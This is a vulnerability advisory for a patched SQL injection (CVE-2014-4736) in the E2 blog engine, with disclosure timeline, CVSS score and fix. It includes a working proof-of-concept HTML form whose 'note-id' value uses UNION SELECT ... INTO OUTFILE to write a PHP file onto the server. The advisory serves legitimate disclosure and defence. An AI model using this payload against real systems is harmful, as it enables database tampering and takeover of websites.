E2 2844 SQL Injection Vulnerability

Product: Е2 
Vendor: Ilya Birman
Vulnerable Version(s): v2844 and probably prior
Tested Version: v2844
Advisory Publication:  July 2, 2014  [without technical details]
Vendor Notification: July 2, 2014 
Vendor Patch: July 3, 2014 
Public Disclosure: July 23, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-4736
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Е2, which can be exploited to perform SQL injection attacks and gain control over the vulnerable application.


1) SQL Injection in Е2: CVE-2014-4736

The vlnerability exists due to insufficient sanitization of input data passed via the "note-id" HTTP POST parameter to "/@actions/comment-process" URI. A remote attacker can send a specially crafted HTTP POST request, inject and execute arbitrary SQL commands in application’s database. Successful exploitation of the vulnerability may allow an attacker to add, modify or delete arbitrary records in database and gain complete access to the web site.

PoC code below will create a PHP file "/var/www/file.php", containing "phpinfo()" call (if the filesystem permissions and MySQL configuration allow it):


<form action="http://[host]/@actions/comment-process" method="post" name="main">
<input type="hidden" name="already-subscribed" value="">
<input type="hidden" name="comment-id" value="new">
<input type="hidden" name="elton-john" value="1">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="from" value="">
<input type="hidden" name="name" value="name">
<input type="hidden" name="subscribe" value="on">
<input type="hidden" name="text" value="1">
<input type="hidden" name="note-id" value="' UNION SELECT '<? phpinfo(); ?>',2,3,4,5,1,7,8,9,10,11,12,13,14,15 INTO OUTFILE '/var/www/file.php' -- 2">
<input type="submit" id="btn">
</form>


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Solution:

Update to Е2 version v2845

More Information:
http://blogengine.ru/download/

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